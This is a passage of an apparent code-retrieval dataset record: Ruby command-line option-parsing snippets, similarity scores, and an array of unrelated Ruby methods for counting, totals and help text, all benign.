rubocop:disable Metrics/MethodLength\n options = Options.new\n option_parser = OptionParser.new do |parser|\n parser.banner = \"Usage: #{parser.program_name} [options]\"\n parser.on('-hHOST', '--host=HOST', 'Coursemology host to connect to') do |host|\n options.host = host\n end\n\n parser.on('-tTOKEN', '--api-token=TOKEN') do |token|\n options.api_token = token\n end\n\n parser.on('-uUSER', '--api-user-email=USER') do |user|\n options.api_user_email = user\n end\n\n parser.on('-o', '--one-shot') do\n options.one_shot = true\n end\n end\n\n option_parser.parse!(argv)\n options\n end", "def parse_options\n case ARGV[1]\n when \"-p\", \"-plugin\"\n return true\n when \"-u\", \"-unplug\"\n return true\n else\n return false\n end\nend", "def parse_command_line &block\n data = {}\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n\n opts.on(\"-c CONFIG\", \"--conf CONFIG\", \"YAML config file\") do |config|\n data[\"config\"] = config\n end\n\n opts.on(\"-p PARAMS\", \"--params PARAMS\", \"Additional default options - key: value as JSON string, override values from config file\") do |params|\n data[\"params\"] = JSON.parse(params)\n end\n\n # process custom args, if given\n block.call(opts) if block_given?\n\n opts.on_tail('-h', '--help', 'display this help and exit') do\n puts opts\n exit\n# return nil\n end\n\n# begin\n opts.parse(ARGV)\n# rescue OptionParser::InvalidOption\n# # do nothing\n# end\n\n end\n\n @args = data\n end", "def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end", "def parse_option(args)\n if args.include?(\"-h\") || args.include?(\"--help\")\n puts \"usage: bq_guess input_file\"\n exit\n elsif args.include?(\"-v\") || args.include?(\"--version\")\n require \"bq_guess/version\"\n puts BqGuess::VERSION\n exit\n else\n { input_path: args.first }\n end\n end", "def handle_options\n OptionParser.new do |opts|\n opts.banner = 'Travis CI Command Line Client'\n\n setup_help(opts) {|opts|\n opts.separator ''\n opts.separator 'Supported Options:'\n client_options().each {|option| opts.on(*option)}\n opts.on_tail('--help', '-h', '-H', 'display this help message.') do\n $stdout.print opts\n exit\n end\n }\n end.parse!\n end", "def parse(args)\n # The options specified on the command line will be collected in\n # *options*.\n\n @options = CLIOptions.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser, help_info)\n parser.parse!(args)\n end\n\n @cdb_path = args.shift\n if @options.debug\n validate_debug!(@options.debug)\n self.file_logger.add_appenders(Logging.appenders.file(@options.debug))\n end\n\n self.logger.level = 4 - @options.verbose\n\n @options\n end", "def parse(args)\n @options = ScriptOptions.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n parser.parse!(args)\n end\n @options\n end", "def processCommandLineOptions\n if ARGV\n ARGV.each do |arg|\n if arg.index('=')\n setting, value = arg.split('=')\n setting = setting.chomp\n value = value.chomp.strip\n if setting == 'logLevel'\n value = value.upcase.gsub(/\\'/,'')\n level = LEVELS_TEXT.index(value.upcase)\n @currentLogLevel = level if level\n elsif setting == 'consoleLogging'\n @consoleLogging = value.downcase == 'true'\n elsif setting == 'logfile'\n @currentFileName = File.expand_path(value)\n end\n end\n end\n end\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-getfacl [options] <object-name> ...\\n\\n Object Store ACL Listing\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-metadata [options] <object-name> ...\\n\\n Cat objects metadata (to stdout)\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def parse_options\nmain_opts = %w(jadd cadd jgadd cgadd wadd sum list ausgleich)\nbetrag_opts = %w(jadd cadd jgadd cgadd wadd)\n\n\tusage if ARGV.size < 1\n\n\toptions = {:modus => ARGV.shift}\n\n\tusage unless main_opts.include?(options[:modus])\n\n\tif betrag_opts.include?(options[:modus])\n\t\tusage if ARGV.size < 1\n\t\toptions[:betrag] = ARGV.shift.to_f\n\t\toptions[:tags] = sanitize_tags(ARGV)\n\n\t\toptions[:jahr] = Time.now.year\n\t\toptions[:monat] = Time.now.month\n\telsif options[:modus] == \"sum\" || options[:modus] == \"list\"\n\t\t#usage if ARGV.size < 1\n\t\toptions[:name] = parse_name\n\t\toptions[:jahr], options[:monat] = parse_date\n\telsif options[:modus] == \"ausgleich\"\n\t\toptions[:jahr], options[:monat] = parse_date\n\tend\n\n\treturn options\nend" ]
[ "0.7955871", "0.78756684", "0.78602433", "0.7780233", "0.7763284", "0.7716871", "0.7704204", "0.7621555", "0.7544811", "0.75415486", "0.74418527", "0.7284101", "0.7271087", "0.72654456", "0.72342515", "0.7206488", "0.71926713", "0.7166847", "0.7149402", "0.71384615", "0.70990235", "0.7090568", "0.7064067", "0.70597255", "0.70584464", "0.70542574", "0.7045108", "0.70413417", "0.69946074", "0.6982798", "0.69667006", "0.6949275", "0.69418436", "0.69256324", "0.69251585", "0.6922472", "0.6919405", "0.69124264", "0.6907991", "0.69044286", "0.6893278", "0.687568", "0.68686485", "0.68686485", "0.6864584", "0.6861456", "0.6857964", "0.68546563", "0.6840542", "0.6834943", "0.6814382", "0.67967755", "0.6792804", "0.67909545", "0.6784236", "0.6776028", "0.67712086", "0.6766159", "0.6742289", "0.67382705", "0.6730047", "0.6726234", "0.67124504", "0.6709859", "0.670755", "0.6699025", "0.66893417", "0.66893417", "0.66844916", "0.6678135", "0.6673608", "0.6671639", "0.66590005", "0.6653546", "0.6649506", "0.66487086", "0.6625837", "0.6600242", "0.6598687", "0.6596419", "0.65948015", "0.65946513", "0.6584181", "0.65807813", "0.6563253", "0.65566796", "0.65513444", "0.65463775", "0.65401304", "0.65386856", "0.6538269", "0.6526375", "0.6524803", "0.6514227", "0.65093595", "0.6508993", "0.650368", "0.65008336", "0.649831", "0.64895594", "0.64803237" ]
0.0
-1
return the total number of iterations.
def count @count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def total_runs\n return @total_runs\n end", "def total_count\n @all.size\n end", "def total_count\n @total_count ||= @possibility_distribution.inject(0) { |sum, n| sum + n.last }\n end", "def total_results\n @set['totalResults'].to_i\n end", "def total_count\n total_entries\n end", "def total_count\n @_total_count || @_original_array.length\n end", "def count\n each.size\n end", "def total_pages\n\t\t\t\treturn 0 if @total_results == 0\n\t\t\t\t(@total_results.to_f / BATCH_SIZE).ceil\n\t\t\tend", "def nofRuns()\n return @runList.size() ;\n end", "def count()\n return @i\n end", "def calc_iterations\n 2 * (2**(@premises.length - 1))\n end", "def execution_count\n flow_entry_count\n end", "def total_count()\n @raw_data.size\n end", "def count\n each.count\n end", "def total\n count\n end", "def my_count\n if block_given?\n num = 0\n self.my_each{|item| num += 1 if yield(item)}\n num\n else\n # if no block given return size of array\n self.length\n end\n end", "def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end", "def remaining_iterations\n (remaining_points.to_f / estimated_velocity.to_f).ceil\n end", "def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end", "def total\n squares = (1..64).map{|i| square(i)}\n squares.inject(:+)\n end", "def count\n run.count\n end", "def total\n @total ||= (\n tally = 0\n each do |w|\n tally += w.count\n end\n tally\n )\n end", "def num_files_total\n command_string = 'find '+@install_root+' | wc -l'\n inspec.bash(command_string).stdout.split(\"\\n\")[0].strip.to_i\n end", "def total_num_assignment_teams\n assignment_team_counts.inject(:+)\n end", "def total\n @total ||= (\n tally = 0\n each do |b|\n tally += b.count\n end\n tally\n )\n end", "def total(input_array)\n\tn = 0\n\tinput_array.each do |x|\n\t\tn += x\n\tend\n\treturn n\nend", "def increment_iterations_counter\n @iterations += 1\n raise \"iteration limit reached\" if @iterations > @max_iterations\n end", "def totalcount\n @totalcount\n end", "def count\n # There are two occurrences, but they are the same\n total = first locator(:total)\n return total.text.to_i if total\n results? ? raise(RuntimeError, \"Couldn't determine result count\", caller) : 0\n end", "def invocation_count\n sum = 0\n @call_sites.values.each { |cs| sum += cs.invocation_count }\n return sum\n end", "def get_total_games_played\n\t\treturn games.size\n\tend", "def get_total_games_played\n return games.size\n end", "def count(n)\n sum = 1\n n.prime_division.each do |x|\n sum *= (x[1] + 1)\n end\n sum\n end", "def total_results\n numberOfRecords\n end", "def total_results\n numberOfRecords\n end", "def ntCount\n return @ntIndex.length\n end", "def num_pages\n (total_count.to_f / per_page).ceil\n end", "def getNumCycles()\n return @numCycles\n end", "def total\n sum = 0\n 64.times do |counter|\n sum += (2**counter)\n end\n sum\n end", "def num_pages\n (@total_entries.to_i / per_page.to_f).ceil\n end", "def num_rounds\n (Math.log(teams.size) / Math.log(2)).to_i\n end", "def number_of_pages\n (total / page_size.to_f).ceil\n end", "def total_pages\n total = total_items / page_size\n if total_items % page_size != 0\n total += 1\n end\n total\n end", "def total_rounds(driver)\n Algorithm::SingleBracket.total_rounds(driver.seeded_teams.length)\n end", "def total_products_count\n products.inject(0) { |count, product| count + product.count.to_i }\n end", "def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end", "def njobs\n @njobs.to_i\n end", "def total_results\n totalItems\n end", "def size\n return 0 if @head.nil?\n\n n = 0\n self.each { n += 1}\n return n\n end", "def total(array)\n i = 0\n array.each { |a| i += a.to_i }\n return i\nend", "def size\n it = iterator\n it.size\n end", "def length\n count = 0\n each { count += 1 }\n count\n end", "def numberOfResults\n @@numberOfResults\n end", "def length\n each.count\n end", "def n\n @reps.size\n end", "def number_of_values\n Integer((@upper - @lower) / @step) + 1\n end", "def my_count\n i = 0\n self.my_each {|x| i += 1}\n i\n end", "def total(arr)\nnumber = 0\narr.each { |x| number += x}\n return number\nend", "def count\n # nil is for seq_op => it means the all result go directly to one worker for combine\n @count ||= self.map_partitions('lambda{|iterator| iterator.to_a.size }')\n .aggregate(0, nil, 'lambda{|sum, item| sum + item }')\n end", "def total_count\n raw_history['total_results']\n end", "def test_size\n @results.map {|node_name, classes|\n classes.size\n }.reduce(:+) || 0\n end", "def total_results\n @lastresults[\"request\"][\"totalResults\"]\n end", "def count(array)\n count = 0\n array.each do |x|\n count += 1\n end\n\n return count\nend", "def total_num_team_reviews\n team_review_counts.inject(:+)\n end", "def proc_count()\n @proc_cnt\n end", "def count\n all.size\n end", "def num_entries\n return @num_entries unless @num_entries.nil?\n @num_entries = num_entries_dec.to_i\n @num_entries\n end", "def total(array)\n x = 0\n while x < array.length\n array.each do |n|\n x += n\n end\n end\n return x\nend", "def count(use_cache=true)\n return @count if @count && use_cache\n @count = target.call().size()\n end", "def total_pages\n f = total_results.to_f / RESULTS_PER_PAGE\n f.ceil\n end", "def n\n x.size\n end", "def step count\n @algorithm.call count\n end", "def total\n total = 0\n for i in 0...size\n total += i * self.frequency[i]\n end\n total\n end", "def total_hits_count\n return top_hits_count + all_hits_count\n end", "def count\n @count\n end", "def length\n @length ||= (count.to_f / @per_chunk).ceil\n end", "def total\n dataset.unlimited.count\n end", "def item_count\n @pages.inject(0){|item_count, page| item_count + page.count}\n end", "def total_rows\n execute['total_rows']\n end", "def count\n @mutex.synchronize { @count }\n end", "def total_entries\n populate\n return 0 if @results[:total_found].nil?\n \n @total_entries ||= @results[:total_found]\n end", "def count_passing\n return self.passing_tests.size\n end", "def total_rounds(teams_count)\n Math.log2(teams_count).ceil\n end", "def total_rounds(teams_count)\n Math.log2(teams_count).ceil\n end", "def total_entries\n collection.total_count\n end", "def num_funding_rounds\n self.funding_rounds.count\n end", "def num_funding_rounds\n self.funding_rounds.count\n end", "def num_pages\n (total_count.to_f / limit_value).ceil\n end", "def num_pages\n (total_count.to_f / limit_value).ceil\n end", "def total\n # Each square has 1 << (n-1) grains of rice, one more than all squares\n # before it combined. The total number of grains on a chess board can\n # thus be calculated by subtracting one from the number of grains on a\n # theoretical 65th square.\n square(65)-1\n end", "def sum(numbers)\n count = 0\n numbers.each do |number|\n count += number\n end\n puts count\nend", "def total_count\n @total_count ||= self.query.count\n end", "def compute_count\n @compute_count||=0\n end", "def get_total_image_page_count\r\n total_page_count = 0\r\n images_for_jobs.each do |images_for_job|\r\n total_page_count += images_for_job.page_count.to_i\r\n end\r\n total_page_count\r\n end", "def total\n\t\t\ttotal = @total\n\t\t\t\n\t\t\tif @started\n\t\t\t\ttotal += (Clock.now - @started)\n\t\t\tend\n\t\t\t\n\t\t\treturn total\n\t\tend", "def count\n @count ||= 0\n @count += 1\n end", "def total\n (1..64).inject {|sum, square| sum + square(square)}\n end", "def total_pages\n (total_results / per_page.to_f).ceil\n end", "def total\n (1..64).inject {|sum, num| sum + square(num)}\n end", "def trip_count()\n self.trips().length()\n end", "def find_total_rides(rides)\n length = rides.length\n return length\nend" ]
[ "0.7067007", "0.69567555", "0.6883113", "0.686496", "0.6850251", "0.6809951", "0.6783846", "0.677651", "0.67264277", "0.67093563", "0.66052157", "0.65973264", "0.6588905", "0.65530705", "0.65504706", "0.65504336", "0.6534073", "0.6532975", "0.6528494", "0.6524397", "0.65147924", "0.65069616", "0.65041304", "0.6485063", "0.64849544", "0.64800066", "0.6445675", "0.6439287", "0.64366305", "0.6431344", "0.64150995", "0.6414825", "0.6382762", "0.6382454", "0.6382454", "0.63771725", "0.6367317", "0.6367036", "0.6362247", "0.6356281", "0.63516426", "0.6346876", "0.63468224", "0.633989", "0.6339392", "0.63329786", "0.633077", "0.6329858", "0.6320487", "0.6314444", "0.63042957", "0.62999624", "0.6298482", "0.6297871", "0.62928736", "0.62890035", "0.6275875", "0.62754357", "0.62751275", "0.62738967", "0.62702006", "0.62631685", "0.62529194", "0.62438154", "0.6241049", "0.62385076", "0.62384146", "0.6230613", "0.62244767", "0.6220022", "0.6217341", "0.62081474", "0.62022024", "0.61994433", "0.61985666", "0.61933094", "0.61931586", "0.619275", "0.6192215", "0.6191756", "0.6191206", "0.61888605", "0.6173615", "0.6173615", "0.61735725", "0.61685985", "0.61685985", "0.61648023", "0.61648023", "0.61630666", "0.61603177", "0.6157752", "0.615404", "0.61470217", "0.6142404", "0.61406153", "0.6131312", "0.6126746", "0.61254555", "0.61150813", "0.61142457" ]
0.0
-1
returns array of strings to print out for syntax.
def syntax t = @cmd_args t = [[t]] if !t.is_a? Array args = [] count = 0 t.each do |expected_array| count += 1 if count == 1 str = "Syntax: #{@cmd_name}" else str = " #{@cmd_name}" end expected_array.each do |expected| # each expected arg. str += case expected when :arg_none then "" when :arg_dir! then " <direction>" when :arg_str! then " <string literal>" when :arg_word!then " <word>" when :arg_int! then " <#>" when :arg_obj_inv! then " <item>" when :arg_obj_room! then " <item>" when :arg_obj_inv_or_room! then " <item>" when :arg_class! then " <Class>" when :arg_player_in_game! then " <player in game>" when :arg_player_offline! then " <any player>" when :arg_actor_room! then " <npc/player>" when String then " " + expected else "" end end args << str end return args end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def printable\r\n list = @@words.to_a.sort.map {|word,definition| \"[#{word}] \\\"#{definition}\\\"\"}\r\n list.join(\"\\n\")\r\nend", "def syntaxes\r\n playbook.syntaxes\r\n end", "def syntax(tokens)\n tokens = expect(:\".syntax\", tokens)\n if id?(tokens[0])\n name = tokens[0]\n tokens.shift\n else\n fail \"syntax NAME\"\n end\n r = [:\".syntax\", name]\n\n while tokens[0] != :\".end\"\n eq, tokens = equation(tokens)\n #pp eq\n if eq\n r << eq\n else\n break\n end\n end\n\n tokens = expect(:\".end\", tokens)\n return r\n end", "def archetype_args\n tok = []\n @returns.map { |ent| tok << \"&#{ent.name}\" }\n @accepts.map { |ent| tok << ent.name }\n tok.join(', ')\n end", "def commands\n args.commands.map do |cmd|\n if cmd.respond_to?(:join)\n cmd.map { |c| c.index(' ') ? \"'#{c}'\" : c }.join(' ')\n else\n cmd.to_s\n end\n end\n end", "def [](*codes)\n s = \"\"\n codes.each do |code|\n s << \"\\e[#{TABLE[code]}m\"\n end\n s\n end", "def lines; [to_s]; end", "def to_s\n\t\t[\n\t\t\t\"Terminals: #{terminals.join(', ')}\",\n\t\t\t\"Non-terminals: #{non_terminals.join(', ')}\",\n\t\t\t\"\\nGrammar Rules\",\n\t\t\t\tprint_rules,\n\t\t\t\t\"\\nGrammar Start Symbol: #{@goal}\",\n\t\t\t\"\\nDerives to lambda: #{print_lambda}\",\n\t\t\t\"\\nFirst sets:\",\n\t\t\t\tprint_firsts,\n\t\t\t\t\"\\nFollow sets:\",\n\t\t\t\tprint_follows,\n\t\t\t\t\"\\nPredict sets:\",\n\t\t\t\tprint_predicts\n\n\t\t].join(\"\\n\")\n\tend", "def printable_commands(*)\n item = []\n item << banner\n item << (desc ? \"# #{desc.gsub(/\\s+/m, ' ')}\" : \"\")\n [item]\n end", "def quotelist( *args )\n\t\t\treturn args.flatten.collect {|part| part =~ /\\s/ ? part.inspect : part}\n\t\tend", "def list_syntaxes\n uri = URI.parse(\"#{BASE_URL}/syntaxes\")\n response = JSON.parse(@client.get(uri).body)\n return response['syntaxes'].map { |obj| Pastee::Syntax.new(obj) } if response['success']\n\n throw_error(response)\n end", "def names()\n\t\tnames = []\n\t\tnames.push \"help\"\n\t\treturn names\n\tend", "def canonical_syntax_strings\n @canonical_syntax_strings ||= flag_syntax.map(&:canonical_str)\n end", "def text\n map(&:text).join\n end", "def inspect\n out = []\n out << string_name\n out << string_mappings\n out << string_data\n out.compact.join(' ') + '>'\n end", "def getAllTexts intervalRange\n texts = [[]]\n curr_alts = []\n # Go through the interval token by token. It is indexed by token, \n # not by character\n intervalRange.each do |j|\n tok = @tokens.get(j)\n\n # If the text is parsed code or whitespace\n if (tok.channel == 0 || tok.channel == 1)\n texts.each do |text|\n text << tok.getText\n end\n\n # Get directives\n elsif (tok.channel == 2)\n d = strip_directive(tok)\n # TODO make sure combinations of alts are handled\n case d.command\n when\"ALT\"\n # Trigger creation of alternative magnet\n curr_alts << []\n texts.each do |text|\n curr_alt = Array.new(text)\n curr_alt << d.arg\n curr_alts.last << curr_alt\n end\n when \"ENDALT\"\n texts << curr_alts.pop\n end\n end\n end\n\n ret = texts.map {|t| t.join}\n # puts \"Ret\"\n # pp ret\n return ret\n end", "def cmd_cmds\n puts self.methods.grep(/^cmd_/).map {|m| m[4..-1]} * \" \"\n end", "def help\n lines = []\n end", "def literals_list\n @literals ||= \"\"\n end", "def text\n #[@organism, @symbol, @description, @aka, @protnames, @summary,@comentaries.join(\". \")].join(\". \") \n [@symbol, @description, @aka, @protnames, @summary].flatten.join(\". \") \n end", "def all\n s = []\n unless @list.empty?\n s << \"Auto-display expressions now in effect:\nNum Enb Expression\"\n @list.each do |display|\n s << display.format\n end\n end\n s\n end", "def to_s\n return unless filename\n\n result = []\n result << \"%= lang:#{language}#{highlight}\"\n result << '\\begin{code}'\n result.concat(raw_code)\n result << '\\end{code}'\n\n rescue CodeInclusionException => e\n code_error(e.message)\n end", "def placeholders\n begin\n @code.scan(/\\{([a-z0-9_]{1,})\\}/).collect { |ph| ph.first }\n rescue\n []\n end\n end", "def help\n [\n [\"what are (people|is everyone) saying about <subject>\", \"search twitter for tweets on <subject>\"],\n [\"what's the word on <subject>\", \"search twitter for tweets on <subject>\"],\n ]\n end", "def codegen\n return [\n codegen_select(),\n codegen_select_all(),\n codegen_merge()\n ].join(\"\\n\")\n end", "def code\n @args.map(&:inspect).join(\", \")\n end", "def strings\n [\n build_identification_string,\n build_flags_string,\n build_info_string,\n build_name_string\n ].compact\n end", "def code_snippet(file, line)\n s = []\n if File.file?(file)\n source = source(file)\n radius = 2 # TODO: make customizable (number of surrounding lines to show)\n region = [line - radius, 1].max ..\n [line + radius, source.length].min\n\n s = region.map do |n|\n {n => source[n-1].chomp}\n end\n end\n return s\n end", "def code_snippet(file, line)\n s = []\n if File.file?(file)\n source = source(file)\n radius = 2 # TODO: make customizable (number of surrounding lines to show)\n region = [line - radius, 1].max ..\n [line + radius, source.length].min\n\n s = region.map do |n|\n {n => source[n-1].chomp}\n end\n end\n return s\n end", "def to_s\n \"#<syntax:#{ @name }>\"\n end", "def getArray _args\n \"getArray _args;\" \n end", "def inspect\n \"[#{map { |r| r.inspect }.join(', ')}]\"\n end", "def ls_text r\n \" (vds)\"\n end", "def help\n [['help', \"this message\"]]\n end", "def esc1(code)\n\t\t[\"\\e[#{code}\", \"\\e[2#{code}\", \"\\e[3#{code}\", \"\\e[4#{code}\", \n\t\t\t\"\\e[5#{code}\", \"\\e[6#{code}\", \"\\e[7#{code}\", \"\\e[8#{code}\"] \n\tend", "def to_s\n lines = @lines.map(&:dup)\n\n if Pry.color\n lines.each do |l|\n l[0] = CodeRay.scan(l[0], @code_type).term\n end\n end\n\n if @with_line_numbers\n max_width = lines.last.last.to_s.length if lines.length > 0\n lines.each do |l|\n padded_line_num = l[1].to_s.rjust(max_width)\n l[0] = \"#{Pry::Helpers::BaseHelpers.colorize_code(padded_line_num.to_s)}: #{l[0]}\"\n end\n end\n\n if @with_marker\n lines.each do |l|\n if l[1] == @marker_line_num\n l[0] = \" => #{l[0]}\"\n else\n l[0] = \" #{l[0]}\"\n end\n end\n end\n\n if @with_indentation\n lines.each do |l|\n l[0] = \"#{' ' * @indentation_num}#{l[0]}\"\n end\n end\n\n lines.map { |l| \"#{l.first}\\n\" }.join\n end", "def cmd_list pattern = '.'\n puts \"Following mnemo's #{pattern && \"matching regexp /#{pattern}/\"} are present\"\n puts\n references_by_pattern(pattern).each do |reference|\n puts (\" \" * 4) + reference\n end\n\n puts\n puts \"Done ..\"\n end", "def subcommand_list\n return '' unless subcommand?\n\n invoking_command = File.basename($0) # could be rspec, etc\n command_list = subcommand_class.printable_commands\n .sort_by { |a| a[0] }\n .map { |a| a[0].sub!(invoking_command, cli_name); a } # replace with proper comand\n .reject { |a| a[0].include?(\"help [COMMAND]\") } # filter out help\n\n # dress up with markdown\n text = command_list.map do |a|\n command, comment = a[0], a[1].sub(/^# /,'')\n subcommand_name = command.split(' ')[2]\n full_command_path = \"#{cli_name}-#{@command_name}-#{subcommand_name}\"\n full_command_name = \"#{cli_name} #{@command_name} #{subcommand_name}\"\n link = \"_reference/#{full_command_path}.md\"\n\n # \"* [#{command}]({% link #{link} %})\"\n # Example: [lono cfn delete STACK]({% link _reference/lono-cfn-delete.md %})\n \"* [#{full_command_name}]({% link #{link} %}) - #{comment}\"\n end.join(\"\\n\")\n\n <<-EOL\n## Subcommands\n\n#{text}\nEOL\n end", "def to_commands_sa(formatter)\n return [ formatter.to_command_s(self) ]\n end", "def help\n [['some command', 'description of some command'],\n ['some other command', 'description of some other command']]\n end", "def strings; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def help\n @@commands.each do |command| \n puts command[0]\n puts \" `#{command[1]}\"\n end \n end", "def available_commands_string\n @available_commands.join(', ')\n end", "def content_tokens\n [preamble, body].join(' ')\n end", "def content_tokens\n [preamble, body].join(' ')\n end", "def inspect\n a = []\n reverse_each { |i|\n a.push \">\" unless /\\A[<>]/ =~ i\n a.push i.inspect\n }\n last = []\n if @last then\n last.push \">\" unless /\\A[<>]/ =~ @last\n last.push @last.inspect\n end\n a.push '#eof' if @eof\n \"((#{a*' '}) l(#{last*' '}) . #{source.inspect})\"\n end", "def commands_list\n out = \"\"\n # If there are no commands set\n if COMMANDS.empty?\n out << \" ooops! commands are not here!\"\n else\n # Get the longest command's name, so we can output it nice 'n' clean\n # This '+ int' at the end is a distance (in spaces) from the longest\n # command to descriptions\n longest = COMMANDS.max_by(&:size).size + 8\n COMMANDS.each do |cmd|\n # Calc, calc.\n spaces = longest - cmd.size\n # Check if there is a 'desc' method\n desc = if eval \"Command::#{cmd}.new.respond_to? 'desc'\"\n # If there is - execute it\n eval \"Command::#{cmd}.new.desc\"\n else\n # If there is not\n \"---\"\n end\n out << \" \" << cmd.downcase.to_s << \" \" * spaces << desc\n # If this command is the last one, don't make a new line\n unless cmd == COMMANDS.last\n out << \"\\n\"\n end\n end\n end\n out\n end", "def array (sexp, level)\n return '[]' if sexp.empty?\n\n code, work = \"\", []\n\n until sexp.empty?\n splat = sexp.first.first == :splat\n part = process sexp.shift, :expression\n\n if splat\n if work.empty?\n code += (code.empty? ? part : \".concat(#{part})\")\n else\n join = \"[#{work.join ', '}]\"\n code += (code.empty? ? join : \".concat(#{join})\")\n code += \".concat(#{part})\"\n end\n work = []\n else\n work << part\n end\n end\n\n unless work.empty?\n join = \"[#{work.join ', '}]\"\n code += (code.empty? ? join : \".concat(#{join})\")\n end\n\n code\n end", "def text\n text = ''\n\n loop do\n type, data, = get\n\n text << case type\n when :BULLET then\n _, space, = get # SPACE\n \"*#{' ' * (space - 1)}\"\n when :LABEL then\n _, space, = get # SPACE\n \"[#{data}]#{' ' * (space - data.length - 2)}\"\n when :LALPHA, :NUMBER, :UALPHA then\n _, space, = get # SPACE\n \"#{data}.#{' ' * (space - 2)}\"\n when :NOTE then\n _, space = get # SPACE\n \"#{data}::#{' ' * (space - data.length - 2)}\"\n when :TEXT then\n data\n when :NEWLINE then\n unget\n break\n when nil then\n break\n else\n raise ParseError, \"unhandled token #{@current_token.inspect}\"\n end\n end\n\n text\n end", "def proptextarray(name) #:nodoc:\n @properties.select{ |f| f.name? name }.map{ |p| p.to_text }\n end", "def custom_delimiters\r\n\t\toutput = []\r\n\t\toutput << input.split(\"]\\n\").first[3..-1].split(\"][\") if input.start_with?('//')\r\n\t\toutput.flatten\r\n\tend", "def notes\n notes_range.to_a.map(&:to_s)\n end", "def cmd_ids\n print_tree(Editor, 0, true)\n end", "def raw_codewords\n @raw_codewords\n end", "def hints_string\n self.hints.map { |h| \"* #{h}\\n\\n\" }.join.rstrip\n end", "def show\n (lines[rows] || []).map { |line| (line.chars[columns] || []) }\n end", "def foundation_strings\n (Array.new(FOUNDATION_ROW_OFFSET, '') +\n board.foundations.map(&:to_s)).tap { |a| a.pop while a.last&.empty? }\n end", "def syntax_errors\n (@syntax_errors ||= [])\n end", "def manual_description\n txt = (@flags.include?(:optional) ? '<' : '[') + @description\n if @type && @type != 'x'\n txt += _INTL(': {1}',@vararg ? '*'+type_name(@type) : type_name(@type))\n end\n txt += @flags.include?(:optional) ? '>' : ']'\n return txt\n end", "def inspect\n [self,(\"(#{pretty_score})\" if @score),(\"(language:#{language})\" if language)].compact.join(\" \")\n end", "def get #:nodoc:\n p = Array.new\n p.push(@long_form)\n p.push(@short_form) if @short_form != \"\"\n p.push(@arg_flag)\n return p\n end", "def prettyify_array(gemspec_ruby, array_name); end", "def inspect\n\t\treturn \"#<%p:%0#x {%d} '%s' (%s): [%s] %s>\" % [\n\t\t\tself.class,\n\t\t\tself.object_id * 2,\n\t\t\tself.synsetid,\n\t\t\tself.words.map(&:to_s).join(', '),\n\t\t\tself.part_of_speech,\n\t\t\tself.lexical_domain,\n\t\t\tself.definition,\n\t\t]\n\tend", "def variables\n format.scan(/(%\\w+)/).flatten.map {|v| v[1..v.length] }\n end", "def print_execute_titles(execute)\r\n execute.each do |line|\r\n titles = []\r\n line.each do |name, value|\r\n if name.is_a? String\r\n titles << name\r\n end\r\n end\r\n puts titles.join(\"|\")\r\n end\r\nend", "def to_s\n\t\tmap { |k,v|\n\t\t\tv.to_s + \" ::= \" + v.rules.map { |r| r.map{|e| e.inspect}.join(\" \") }.join(\" | \")\n\t\t}.join(\"\\n\")\n\tend", "def cmd_compreply\n puts references_by_pattern * \" \"\n end", "def printTokens()\r\n\t\t$tokens.each { |t| t.display } \r\nend", "def display\n to_s.split(\"\\n\")\n .map { |line| line.split('').join(' ') }\n .join(\"\\n\")\n end", "def text_blocks\n pdf.each_object\n .select {|o| o.instance_of? Origami::ContentStream}\n .flat_map(&:instructions)\n .select {|i| i.operator == \"Tj\"}\n .map(&:operands)\n .map { |operands| operands.join(\" \") }\n end", "def exec_env_selected_text\n content = []\n\n each_selected_line do |y, fx, tx|\n content << get(\"#{y}.#{fx}\", \"#{y}.#{tx}\")\n end\n\n content.join(\"\\n\")\n end", "def format_words\n return \"@words = #{@words.inspect}\"\n end", "def seeAlso\n join( \" \" ).scan( /\\{(.*?)\\}/ )\n end", "def seeAlso\n join( \" \" ).scan( /\\{(.*?)\\}/ )\n end", "def array_paragraphs fragments\n [fragments]\n end", "def return_arr_txts\r\n IO.write(\"./DEBUG\", \"docclass=\"+@doc.to_s+\" andinfoclass= \"+@@info_past.class.to_s+\"=\"+@@info_past.to_s)\r\n @doc = @@info_past[1]\r\n if @doc[\"doc\"].empty?\r\n return [\"0\"]\r\n else\r\n return @doc[\"doc\"] #retorna os nomes dentro de um Array\r\n end\r\n end", "def get_instructions\n\t\tinstructions = <<-TEXT\n\tField symbols:\n\t#{Symbols::HIT} --> Hit\n\t#{Symbols::MISS} --> Miss\n\t#{Symbols::SHIP} --> Your ship\n\n\tGame control:\n\tq --> Exit\n\n\t\tTEXT\n\tend", "def archetype\n tok = []\n tok << 'extern int ' + name\n tok << '(' + \"\\n\"\n tok << [\n @returns.map { |ent| \"#{ent.type} #{ent.name}\" },\n @accepts.map { |ent| \"#{ent.type} #{ent.name}\" },\n ].flatten.map { |s| \"\\t\" + s }.join(\",\\n\")\n tok << \"\\n);\"\n tok.join\n end", "def plain_source\n lines.join\n end", "def raw\n text = 